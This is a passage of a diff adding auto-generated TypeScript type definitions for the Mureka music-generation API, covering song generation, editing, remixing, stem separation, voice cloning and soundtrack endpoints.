file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +/** + * @description A generated audio file and its reusable song identifier. + * @type object + */ +export type OutputMurekaApiGenerateSpeech = { + /** + * @description Timed lyric sections for the generated audio, when available. + */ + lyrics_sections?: LyricsSection56B0A155[] | null + /** + * @description Duration of the generated audio in milliseconds, when available. + */ + duration?: number | null + /** + * @description Reusable identifier for this audio. Pass it to endpoints that accept song_id. + */ + song_id?: string | null + /** + * @description The generated audio file. + * @type object + */ + audio: File7D1F73B8 +} + +export type InputMurekaApiSongDescribe = { + /** + * @description Public HTTPS URL or data URI for an MP3 or M4A song to analyze, up to 10 MB. + * @type string + */ + audio_url: string + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean +} + +export type OutputMurekaApiSongDescribe = { + genres: string[] + instruments: string[] + tags: string[] + description: string +} + +export type InputMurekaApiSongEdit = { + /** + * @description Replacement lyrics for the selected region. + * @minLength 1 + * @maxLength 3000 + * @type string + */ + lyrics: string + /** + * @description Start of the region to rewrite in milliseconds. + * @minimum 0 + * @type integer + */ + edit_start: number + /** + * @description End of the region to rewrite in milliseconds. The region must be at least three seconds long. + * @minimum 0 + * @type integer + */ + edit_end: number + /** + * @description Generated song ID from song_id in a /generate/song response. Provide exactly one of song_id or upload_audio_id. + */ + song_id?: string | null + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Audio ID returned by /files/upload with purpose='audio'. Provide exactly one of song_id or upload_audio_id. + */ + upload_audio_id?: string | null +} + +export type LyricsWordFf69F41E = { + end?: number | null + text?: string | null + start?: number | null +} + +export type LyricsLineDc793D20 = { + words?: LyricsWordFf69F41E[] | null + text?: string | null + end?: number | null + start?: number | null +} + +export const lyricsSection34405731SectionType = { + intro: 'intro', + verse: 'verse', + 'pre-chorus': 'pre-chorus', + chorus: 'chorus', + bridge: 'bridge', + break: 'break', + outro: 'outro', +} as const + +export type LyricsSection34405731SectionTypeKey = + (typeof lyricsSection34405731SectionType)[keyof typeof lyricsSection34405731SectionType] + +export type LyricsSection34405731 = { + end?: number | null + start?: number | null + section_type?: LyricsSection34405731SectionTypeKey | null + lines?: LyricsLineDc793D20[] | null +} + +export type File4Ad80634 = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +/** + * @description A generated audio file and its reusable song identifier. + * @type object + */ +export type OutputMurekaApiSongEdit = { + /** + * @description Timed lyric sections for the generated audio, when available. + */ + lyrics_sections?: LyricsSection34405731[] | null + /** + * @description Duration of the generated audio in milliseconds, when available. + */ + duration?: number | null + /** + * @description Reusable identifier for this audio. Pass it to endpoints that accept song_id. + */ + song_id?: string | null + /** + * @description The generated audio file. + * @type object + */ + audio: File4Ad80634 +} + +export type InputMurekaApiSongRecognize = { + /** + * @description Audio ID returned by /files/upload with purpose='audio'. + * @minLength 1 + * @type string + */ + upload_audio_id: string +} + +export type LyricsWord9753B8D8 = { + end?: number | null + text?: string | null + start?: number | null +} + +export type LyricsLine24Ab9D42 = { + words?: LyricsWord9753B8D8[] | null + text?: string | null + end?: number | null + start?: number | null +} + +export type RecognizeLyricsSection = { + end?: number | null + start?: number | null + lines?: LyricsLine24Ab9D42[] | null +} + +export type OutputMurekaApiSongRecognize = { + lyrics_sections?: RecognizeLyricsSection[] | null + duration: number +} + +export const inputMurekaApiSongStemModelEnum = { + 'audio-separation-1': 'audio-separation-1', + 'audio-separation-2': 'audio-separation-2', + 'audio-separation-3': 'audio-separation-3', +} as const + +export type InputMurekaApiSongStemModelEnumKey = + (typeof inputMurekaApiSongStemModelEnum)[keyof typeof inputMurekaApiSongStemModelEnum] + +export type InputMurekaApiSongStem = { + /** + * @description Public HTTPS URL or data URI for an MP3 or M4A song to separate, up to 10 MB. + * @type string + */ + audio_url: string + /** + * @description Stem-separation model, which determines available stems and MIDI output. + * @default 'audio-separation-3' + * @type string | undefined + */ + model?: InputMurekaApiSongStemModelEnumKey +} + +export type OutputMurekaApiSongStem = { + /** + * @description The generated archive of separated audio stems. + * @type string + */ + zip_url: string + /** + * @description The generated archive of separated MIDI stems, when available. + */ + midi_zip_url?: string | null +} + +export type InputMurekaApiSongTranscribe = { + /** + * @description Public HTTPS URL or data URI for an MP3, WAV, or M4A file between 10 seconds and 10 minutes and no larger than 100 MB. Provide exactly one audio source. + */ + audio_url?: string | null + /** + * @description Optional title used for the generated transcription files. + */ + title?: string | null + /** + * @description Generated song ID from song_id in a /generate/song response. Provide exactly one audio source. + */ + song_id?: string | null + /** + * @description Audio ID returned by /files/upload with purpose='audio'. Provide exactly one audio source. + */ + upload_audio_id?: string | null +} + +export type OutputMurekaApiSongTranscribe = { + /** + * @description The generated transcription archive. + * @type string + */ + zip_url: string +} + +export type InputMurekaApiVoiceClone = { + /** + * @description Public HTTPS URL or data URI for an MP3 or M4A vocal sample between 15 and 30 seconds and smaller than 10 MB. + * @type string + */ + audio_url: string + /** + * @description Optional text describing the cloned voice. + */ + description?: string | null +} + +export type OutputMurekaApiVoiceClone = { + created_at?: number | null + description?: string | null + vocal_id: string +} + +/** + * @description Input for v8 GenerateInstrumental. + * @type object + */ +export type InputMurekaV8GenerateInstrumental = { + /** + * @description Instrumental ID returned by /files/upload with purpose='instrumental'. Provide exactly one of instrumental_id or prompt. + */ + instrumental_id?: string | null + /** + * @description Description of the desired instrumental. Provide exactly one of prompt or instrumental_id. + */ + prompt?: string | null + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean +} + +export type LyricsWordDc05329E = { + end?: number | null + text?: string | null + start?: number | null +} + +export type LyricsLineC6A30Bcc = { + words?: LyricsWordDc05329E[] | null + text?: string | null + end?: number | null + start?: number | null +} + +export const lyricsSection209B316BSectionType = { + intro: 'intro', + verse: 'verse', + 'pre-chorus': 'pre-chorus', + chorus: 'chorus', + bridge: 'bridge', + break: 'break', + outro: 'outro', +} as const + +export type LyricsSection209B316BSectionTypeKey = + (typeof lyricsSection209B316BSectionType)[keyof typeof lyricsSection209B316BSectionType] + +export type LyricsSection209B316B = { + end?: number | null + start?: number | null + section_type?: LyricsSection209B316BSectionTypeKey | null + lines?: LyricsLineC6A30Bcc[] | null +} + +export type FileD50Ed6F0 = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +/** + * @description A generated audio file and its reusable song identifier. + * @type object + */ +export type OutputMurekaV8GenerateInstrumental = { + /** + * @description Timed lyric sections for the generated audio, when available. + */ + lyrics_sections?: LyricsSection209B316B[] | null + /** + * @description Duration of the generated audio in milliseconds, when available. + */ + duration?: number | null + /** + * @description Reusable identifier for this audio. Pass it to endpoints that accept song_id. + */ + song_id?: string | null + /** + * @description The generated audio file. + * @type object + */ + audio: FileD50Ed6F0 +} + +export const inputMurekaV8GenerateSongGender = { + female: 'female', + male: 'male', +} as const + +export type InputMurekaV8GenerateSongGenderKey = + (typeof inputMurekaV8GenerateSongGender)[keyof typeof inputMurekaV8GenerateSongGender] + +export const inputMurekaV8GenerateSongStylesEnum = { + pop: 'pop', + rock: 'rock', + jazz: 'jazz', + 'r&b': 'r&b', + edm: 'edm', + ambient: 'ambient', + folk: 'folk', + latin: 'latin', + 'k-pop': 'k-pop', + 'j-pop': 'j-pop', + house: 'house', + gospel: 'gospel', + 'lo-fi': 'lo-fi', +} as const + +export type InputMurekaV8GenerateSongStylesEnumKey = + (typeof inputMurekaV8GenerateSongStylesEnum)[keyof typeof inputMurekaV8GenerateSongStylesEnum] + +/** + * @description Input for v8 GenerateSong. + * @type object + */ +export type InputMurekaV8GenerateSong = { + /** + * @description Preferred vocal gender for lyrics-to-song generation. An uploaded or cloned voice takes precedence. + */ + gender?: InputMurekaV8GenerateSongGenderKey | null + /** + * @description Voice ID returned by /voice/clone. + */ + vocal_id?: string | null + /** + * @description One or more musical genres for prompt-to-song generation. This cannot be used when lyrics is provided. + * @example ["pop","rock"] + */ + styles?: InputMurekaV8GenerateSongStylesEnumKey[] | null + /** + * @description Reference-music ID returned by /files/upload with purpose='reference'. + */ + reference_id?: string | null + /** + * @description Lyrics to sing, up to 5,000 characters. Provide this for lyrics-to-song generation; otherwise provide prompt for prompt-to-song generation. + */ + lyrics?: string | null + /** + * @description Describe the desired song, mood, instrumentation, and vocals. Required when lyrics is omitted, up to 2,000 characters. With lyrics, it acts as a music-style control and supports up to 1,024 characters. + * @example A bright summer love song with a catchy chorus + */ + prompt?: string | null + /** + * @description Melody ID returned by /files/upload with purpose='melody'. This cannot be combined with prompt, reference_id, or vocal_id. + */ + melody_id?: string | null + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean +} + +export type LyricsWord4F77Ca0B = { + end?: number | null + text?: string | null + start?: number | null +} + +export type LyricsLineA32A0821 = { + words?: LyricsWord4F77Ca0B[] | null + text?: string | null + end?: number | null + start?: number | null +} + +export const lyricsSectionB2496B5ASectionType = { + intro: 'intro', + verse: 'verse', + 'pre-chorus': 'pre-chorus', + chorus: 'chorus', + bridge: 'bridge', + break: 'break', + outro: 'outro', +} as const + +export type LyricsSectionB2496B5ASectionTypeKey = + (typeof lyricsSectionB2496B5ASectionType)[keyof typeof lyricsSectionB2496B5ASectionType] + +export type LyricsSectionB2496B5A = { + end?: number | null + start?: number | null + section_type?: LyricsSectionB2496B5ASectionTypeKey | null + lines?: LyricsLineA32A0821[] | null +} + +export type FileE04F4Acd = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +/** + * @description A generated audio file and its reusable song identifier. + * @type object + */ +export type OutputMurekaV8GenerateSong = { + /** + * @description Timed lyric sections for the generated audio, when available. + */ + lyrics_sections?: LyricsSectionB2496B5A[] | null + /** + * @description Duration of the generated audio in milliseconds, when available. + */ + duration?: number | null + /** + * @description Reusable identifier for this audio. Pass it to endpoints that accept song_id. + */ + song_id?: string | null + /** + * @description The generated audio file. + * @type object + */ + audio: FileE04F4Acd +} + +/** + * @description Input for v8 GenerateSoundtrack. + * @type object + */ +export type InputMurekaV8GenerateSoundtrack = { + /** + * @description Start time of the soundtrack audio in milliseconds. If only audio_start is specified, generation starts there and continues for the video duration, stopping at the end of the song if the remaining audio is shorter. The soundtrack audio segment must be at least 3 seconds long, and a 1-second fade-in is added at the beginning. + */ + audio_start?: number | null + /** + * @description Optional description of the desired soundtrack style and mood. + */ + prompt?: string | null + /** + * @description Image ID returned by /files/upload with purpose='soundtrack'. Provide exactly one of image_id or video_id. + */ + image_id?: string | null + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description End time of the soundtrack audio in milliseconds. If both audio_start and audio_end are specified, generation uses those times. If audio_end exceeds the song duration, generation stops at the end of the song. The soundtrack audio segment must be at least 3 seconds long, and a 1-second fade-out is added at the end. + */ + audio_end?: number | null + /** + * @description Video ID returned by /files/upload with purpose='soundtrack'. Provide exactly one of image_id or video_id. + */ + video_id?: string | null +} + +export type LyricsWord3336F498 = { + end?: number | null + text?: string | null + start?: number | null +} + +export type LyricsLine17112596 = { + words?: LyricsWord3336F498[] | null + text?: string | null + end?: number | null + start?: number | null +} + +export const lyricsSectionBd530959SectionType = { + intro: 'intro', + verse: 'verse', + 'pre-chorus': 'pre-chorus', + chorus: 'chorus', + bridge: 'bridge', + break: 'break', + outro: 'outro', +} as const + +export type LyricsSectionBd530959SectionTypeKey = + (typeof lyricsSectionBd530959SectionType)[keyof typeof lyricsSectionBd530959SectionType] + +export type LyricsSectionBd530959 = { + end?: number | null + start?: number | null + section_type?: LyricsSectionBd530959SectionTypeKey | null + lines?: LyricsLine17112596[] | null +} + +export type File9Bcef062 = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +/** + * @description A generated audio file and its reusable song identifier. + * @type object + */ +export type OutputMurekaV8GenerateSoundtrack = { + /** + * @description Timed lyric sections for the generated audio, when available. + */ + lyrics_sections?: LyricsSectionBd530959[] | null + /** + * @description Duration of the generated audio in milliseconds, when available. + */ + duration?: number | null + /** + * @description Reusable identifier for this audio. Pass it to endpoints that accept song_id. + */ + song_id?: string | null + /** + * @description The generated audio file. + * @type object + */ + audio: File9Bcef062 +} + +export const inputMurekaV8GenerateTrackVocalGender = { + female: 'female', + male: 'male', +} as const + +export type InputMurekaV8GenerateTrackVocalGenderKey = + (typeof inputMurekaV8GenerateTrackVocalGender)[keyof typeof inputMurekaV8GenerateTrackVocalGender] + +export const inputMurekaV8GenerateTrackGenerateTypeEnum = { + Vocals: 'Vocals', + Instrumental: 'Instrumental', + Drums: 'Drums', + Bass: 'Bass', + Guitar: 'Guitar', + Keyboard: 'Keyboard', + Percussion: 'Percussion', + Strings: 'Strings', + Synth: 'Synth', + FX: 'FX', + Brass: 'Brass', + Woodwinds: 'Woodwinds', +} as const + +export type InputMurekaV8GenerateTrackGenerateTypeEnumKey = + (typeof inputMurekaV8GenerateTrackGenerateTypeEnum)[keyof typeof inputMurekaV8GenerateTrackGenerateTypeEnum] + +/** + * @description Generate a vocal or instrumental part from existing audio. + * @type object + */ +export type InputMurekaV8GenerateTrack = { + /** + * @description Optional end of the generation region in milliseconds. Requires generate_start and must be greater than it. + */ + generate_end?: number | null + /** + * @description Generated song ID from song_id in a /generate/song response. Provide exactly one of song_id or upload_audio_id. + */ + song_id?: string | null + /** + * @description Audio ID returned by /files/upload with purpose='audio'. Provide exactly one of song_id or upload_audio_id. + */ + upload_audio_id?: string | null + /** + * @description Preferred vocal gender; only valid when generate_type is Vocals. + */ + vocal_gender?: InputMurekaV8GenerateTrackVocalGenderKey | null + /** + * @description Lyrics for a generated vocal track, up to 5,000 characters. + */ + lyrics?: string | null + /** + * @description Description of the track's musical style and performance. + * @minLength 1 + * @maxLength 1024 + * @type string + */ + prompt: string + /** + * @description Type of musical or vocal track to generate. + * @type string + */ + generate_type: InputMurekaV8GenerateTrackGenerateTypeEnumKey + /** + * @description Optional start of the generation region in milliseconds. + */ + generate_start?: number | null + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean +} + +export type LyricsWordCfac3F7B = { + end?: number | null + text?: string | null + start?: number | null +} + +export type LyricsLine02Cbc541 = { + words?: LyricsWordCfac3F7B[] | null + text?: string | null + end?: number | null + start?: number | null +} + +export const lyricsSection43Fb2Fa4SectionType = { + intro: 'intro', + verse: 'verse', + 'pre-chorus': 'pre-chorus', + chorus: 'chorus', + bridge: 'bridge', + break: 'break', + outro: 'outro', +} as const + +export type LyricsSection43Fb2Fa4SectionTypeKey = + (typeof lyricsSection43Fb2Fa4SectionType)[keyof typeof lyricsSection43Fb2Fa4SectionType] + +export type LyricsSection43Fb2Fa4 = { + end?: number | null + start?: number | null + section_type?: LyricsSection43Fb2Fa4SectionTypeKey | null + lines?: LyricsLine02Cbc541[] | null +} + +export type File20686965 = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +/** + * @description A generated audio file and its reusable song identifier. + * @type object + */ +export type OutputMurekaV8GenerateTrack = { + /** + * @description Timed lyric sections for the generated audio, when available. + */ + lyrics_sections?: LyricsSection43Fb2Fa4[] | null + /** + * @description Duration of the generated audio in milliseconds, when available. + */ + duration?: number | null + /** + * @description Reusable identifier for this audio. Pass it to endpoints that accept song_id. + */ + song_id?: string | null + /** + * @description The generated audio file. + * @type object + */ + audio: File20686965 +} + +export const inputMurekaV8SongExtendExtendTypeEnum = { + tail: 'tail', + head: 'head', +} as const + +export type InputMurekaV8SongExtendExtendTypeEnumKey = + (typeof inputMurekaV8SongExtendExtendTypeEnum)[keyof typeof inputMurekaV8SongExtendExtendTypeEnum] + +/** + * @description Input for v8 ExtendSong. + * @type object + */ +export type InputMurekaV8SongExtend = { + /** + * @description Direction of extension: append to the tail or prepend to the head. + * @default 'tail' + * @type string | undefined + */ + extend_type?: InputMurekaV8SongExtendExtendTypeEnumKey + /** + * @description Lyrics for the extended section, up to 3,000 characters. + * @minLength 1 + * @maxLength 3000 + * @type string + */ + lyrics: string + /** + * @description Timestamp in milliseconds where extension begins. + * @minimum 0 + * @type integer + */ + extend_at: number + /** + * @description Generated song ID from song_id in a /generate/song response. Provide exactly one of song_id or upload_audio_id. + */ + song_id?: string | null + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Audio ID returned by /files/upload with purpose='audio'. Provide exactly one of song_id or upload_audio_id. + */ + upload_audio_id?: string | null +} + +export type LyricsWordD4F11708 = { + end?: number | null + text?: string | null + start?: number | null +} + +export type LyricsLineBf8231Fe = { + words?: LyricsWordD4F11708[] | null + text?: string | null + end?: number | null + start?: number | null +} + +export const lyricsSection328B4801SectionType = { + intro: 'intro', + verse: 'verse', + 'pre-chorus': 'pre-chorus', + chorus: 'chorus', + bridge: 'bridge', + break: 'break', + outro: 'outro', +} as const + +export type LyricsSection328B4801SectionTypeKey = + (typeof lyricsSection328B4801SectionType)[keyof typeof lyricsSection328B4801SectionType] + +export type LyricsSection328B4801 = { + end?: number | null + start?: number | null + section_type?: LyricsSection328B4801SectionTypeKey | null + lines?: LyricsLineBf8231Fe[] | null +} + +export type FileC3D6Dcb2 = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +/** + * @description A generated audio file and its reusable song identifier. + * @type object + */ +export type OutputMurekaV8SongExtend = { + /** + * @description Timed lyric sections for the generated audio, when available. + */ + lyrics_sections?: LyricsSection328B4801[] | null + /** + * @description Duration of the generated audio in milliseconds, when available. + */ + duration?: number | null + /** + * @description Reusable identifier for this audio. Pass it to endpoints that accept song_id. + */ + song_id?: string | null + /** + * @description The generated audio file. + * @type object + */ + audio: FileC3D6Dcb2 +} + +/** + * @description Remix source audio from 10 to 350 seconds long. + * + * Vocal-only, accompaniment-only, and instrumental tracks are not supported. + * @type object + */ +export type InputMurekaV8SongRemix = { + /** + * @description Complete lyrics for the remixed song, up to 5,000 characters. + * @minLength 1 + * @maxLength 5000 + * @type string + */ + lyrics: string + /** + * @description Control the remix's genre, mood, instrumentation, and arrangement with a prompt, up to 1,024 characters. + * @minLength 1 + * @maxLength 1024 + * @type string + */ + prompt: string + /** + * @description Generated song ID from song_id in a /generate/song response. Provide exactly one of song_id or upload_audio_id. + */ + song_id?: string | null + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Audio ID returned by /files/upload with purpose='remix'. Provide exactly one of song_id or upload_audio_id. + */ + upload_audio_id?: string | null +} + +export type LyricsWord400F3527 = { + end?: number | null + text?: string | null + start?: number | null +} + +export type LyricsLine22848361 = { + words?: LyricsWord400F3527[] | null + text?: string | null + end?: number | null + start?: number | null +} + +export const lyricsSectionE8B9B918SectionType = { + intro: 'intro', + verse: 'verse', + 'pre-chorus': 'pre-chorus', + chorus: 'chorus', + bridge: 'bridge', + break: 'break', + outro: 'outro', +} as const + +export type LyricsSectionE8B9B918SectionTypeKey = + (typeof lyricsSectionE8B9B918SectionType)[keyof typeof lyricsSectionE8B9B918SectionType] + +export type LyricsSectionE8B9B918 = { + end?: number | null + start?: number | null + section_type?: LyricsSectionE8B9B918SectionTypeKey | null + lines?: LyricsLine22848361[] | null +} + +export type File084712E5 = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +/** + * @description A generated audio file and its reusable song identifier. + * @type object + */ +export type OutputMurekaV8SongRemix = { + /** + * @description Timed lyric sections for the generated audio, when available. + */ + lyrics_sections?: LyricsSectionE8B9B918[] | null + /** + * @description Duration of the generated audio in milliseconds, when available. + */ + duration?: number | null + /** + * @description Reusable identifier for this audio. Pass it to endpoints that accept song_id. + */ + song_id?: string | null + /** + * @description The generated audio file. + * @type object + */ + audio: File084712E5 +} + +/** + * @description Input for v9.5 GenerateInstrumental. + * @type object + */ +export type InputMurekaV95GenerateInstrumental = { + /** + * @description Instrumental ID returned by /files/upload with purpose='instrumental'. Provide exactly one of instrumental_id or prompt. + */ + instrumental_id?: string | null + /** + * @description Description of the desired instrumental. Provide exactly one of prompt or instrumental_id. + */ + prompt?: string | null + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean +} + +export type LyricsWordD25A8D14 = { + end?: number | null + text?: string | null + start?: number | null +} + +export type LyricsLine10B9D596 = { + words?: LyricsWordD25A8D14[] | null + text?: string | null + end?: number | null + start?: number | null +} + +export const lyricsSection3E8Ed299SectionType = { + intro: 'intro', + verse: 'verse', + 'pre-chorus': 'pre-chorus', + chorus: 'chorus', + bridge: 'bridge', + break: 'break', + outro: 'outro', +} as const + +export type LyricsSection3E8Ed299SectionTypeKey = + (typeof lyricsSection3E8Ed299SectionType)[keyof typeof lyricsSection3E8Ed299SectionType] + +export type LyricsSection3E8Ed299 = { + end?: number | null + start?: number | null + section_type?: LyricsSection3E8Ed299SectionTypeKey | null + lines?: LyricsLine10B9D596[] | null +} + +export type FileF6A65D9A = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +/** + * @description A generated audio file and its reusable song identifier. + * @type object + */ +export type OutputMurekaV95GenerateInstrumental = { + /** + * @description Timed lyric sections for the generated audio, when available. + */ + lyrics_sections?: LyricsSection3E8Ed299[] | null + /** + * @description Duration of the generated audio in milliseconds, when available. + */ + duration?: number | null + /** + * @description Reusable identifier for this audio. Pass it to endpoints that accept song_id. + */ + song_id?: string | null + /** + * @description The generated audio file. + * @type object + */ + audio: FileF6A65D9A +} + +export const inputMurekaV95GenerateSongGender = { + female: 'female', + male: 'male', +} as const + +export type InputMurekaV95GenerateSongGenderKey = + (typeof inputMurekaV95GenerateSongGender)[keyof typeof inputMurekaV95GenerateSongGender] + +export const inputMurekaV95GenerateSongStylesEnum = { + pop: 'pop', + rock: 'rock', + jazz: 'jazz', + 'r&b': 'r&b', + edm: 'edm', + ambient: 'ambient', + folk: 'folk', + latin: 'latin', + 'k-pop': 'k-pop', + 'j-pop': 'j-pop', + house: 'house', + gospel: 'gospel', + 'lo-fi': 'lo-fi', +} as const + +export type InputMurekaV95GenerateSongStylesEnumKey = + (typeof inputMurekaV95GenerateSongStylesEnum)[keyof typeof inputMurekaV95GenerateSongStylesEnum] + +/** + * @description Input for v9.5 GenerateSong. + * @type object + */ +export type InputMurekaV95GenerateSong = { + /** + * @description Preferred vocal gender for lyrics-to-song generation. An uploaded or cloned voice takes precedence. + */ + gender?: InputMurekaV95GenerateSongGenderKey | null + /** + * @description Target song duration in seconds. If omitted, the model determines the duration automatically. The length of the lyrics also affects the target duration. + */ + duration?: number | null + /** + * @description Voice ID returned by /voice/clone. + */ + vocal_id?: string | null + /** + * @description One or more musical genres for prompt-to-song generation. This cannot be used when lyrics is provided. + * @example ["pop","rock"] + */ + styles?: InputMurekaV95GenerateSongStylesEnumKey[] | null + /** + * @description Reference-music ID returned by /files/upload with purpose='reference'. + */ + reference_id?: string | null + /** + * @description Lyrics to sing, up to 5,000 characters. Provide this for lyrics-to-song generation; otherwise provide prompt for prompt-to-song generation. + */ + lyrics?: string | null + /** + * @description Describe the desired song, mood, instrumentation, and vocals. Required when lyrics is omitted, up to 2,000 characters. With lyrics, it acts as a music-style control and supports up to 1,024 characters. + * @example A bright summer love song with a catchy chorus + */ + prompt?: string | null + /** + * @description Melody ID returned by /files/upload with purpose='melody'. This cannot be combined with prompt, reference_id, or vocal_id. + */ + melody_id?: string | null + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean +} + +export type LyricsWord0626Db99 = { + end?: number | null + text?: string | null + start?: number | null +} + +export type LyricsLine5398De93 = { + words?: LyricsWord0626Db99[] | null + text?: string | null + end?: number | null + start?: number | null +} + +export const lyricsSection252E9428SectionType = { + intro: 'intro', + verse: 'verse', + 'pre-chorus': 'pre-chorus', + chorus: 'chorus', + bridge: 'bridge', + break: 'break', + outro: 'outro', +} as const + +export type LyricsSection252E9428SectionTypeKey = + (typeof lyricsSection252E9428SectionType)[keyof typeof lyricsSection252E9428SectionType] + +export type LyricsSection252E9428 = { + end?: number | null + start?: number | null + section_type?: LyricsSection252E9428SectionTypeKey | null + lines?: LyricsLine5398De93[] | null +} + +export type FileB729312F = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +/** + * @description A generated audio file and its reusable song identifier. + * @type object + */ +export type OutputMurekaV95GenerateSong = { + /** + * @description Timed lyric sections for the generated audio, when available. + */ + lyrics_sections?: LyricsSection252E9428[] | null + /** + * @description Duration of the generated audio in milliseconds, when available. + */ + duration?: number | null + /** + * @description Reusable identifier for this audio. Pass it to endpoints that accept song_id. + */ + song_id?: string | null + /** + * @description The generated audio file. + * @type object + */ + audio: FileB729312F +} + +/** + * @description Input for v9.5 GenerateSoundtrack. + * @type object + */ +export type InputMurekaV95GenerateSoundtrack = { + /** + * @description Start time of the soundtrack audio in milliseconds. If only audio_start is specified, generation starts there and continues for the video duration, stopping at the end of the song if the remaining audio is shorter. The soundtrack audio segment must be at least 3 seconds long, and a 1-second fade-in is added at the beginning. + */ + audio_start?: number | null + /** + * @description Optional description of the desired soundtrack style and mood. + */ + prompt?: string | null + /** + * @description Image ID returned by /files/upload with purpose='soundtrack'. Provide exactly one of image_id or video_id. + */ + image_id?: string | null + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description End time of the soundtrack audio in milliseconds. If both audio_start and audio_end are specified, generation uses those times. If audio_end exceeds the song duration, generation stops at the end of the song. The soundtrack audio segment must be at least 3 seconds long, and a 1-second fade-out is added at the end. + */ + audio_end?: number | null + /** + * @description Video ID returned by /files/upload with purpose='soundtrack'. Provide exactly one of image_id or video_id. + */ + video_id?: string | null +} + +export type LyricsWord55Bfb9Fe = { + end?: number | null + text?: string | null + start?: number | null +} + +export type LyricsLine35A95950 = { + words?: LyricsWord55Bfb9Fe[] | null + text?: string | null + end?: number | null + start?: number | null +} + +export const lyricsSection8D9648EfSectionType = { + intro: 'intro', + verse: 'verse', + 'pre-chorus': 'pre-chorus', + chorus: 'chorus', + bridge: 'bridge', + break: 'break', + outro: 'outro', +} as const + +export type LyricsSection8D9648EfSectionTypeKey = + (typeof lyricsSection8D9648EfSectionType)[keyof typeof lyricsSection8D9648EfSectionType] + +export type LyricsSection8D9648Ef = { + end?: number | null + start?: number | null + section_type?: LyricsSection8D9648EfSectionTypeKey | null + lines?: LyricsLine35A95950[] | null +} + +export type FileB985Aafc = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +/** + * @description A generated audio file and its reusable song identifier. + * @type object + */ +export type OutputMurekaV95GenerateSoundtrack = { + /** + * @description Timed lyric sections for the generated audio, when available. + */ + lyrics_sections?: LyricsSection8D9648Ef[] | null + /** + * @description Duration of the generated audio in milliseconds, when available. + */ + duration?: number | null + /** + * @description Reusable identifier for this audio. Pass it to endpoints that accept song_id. + 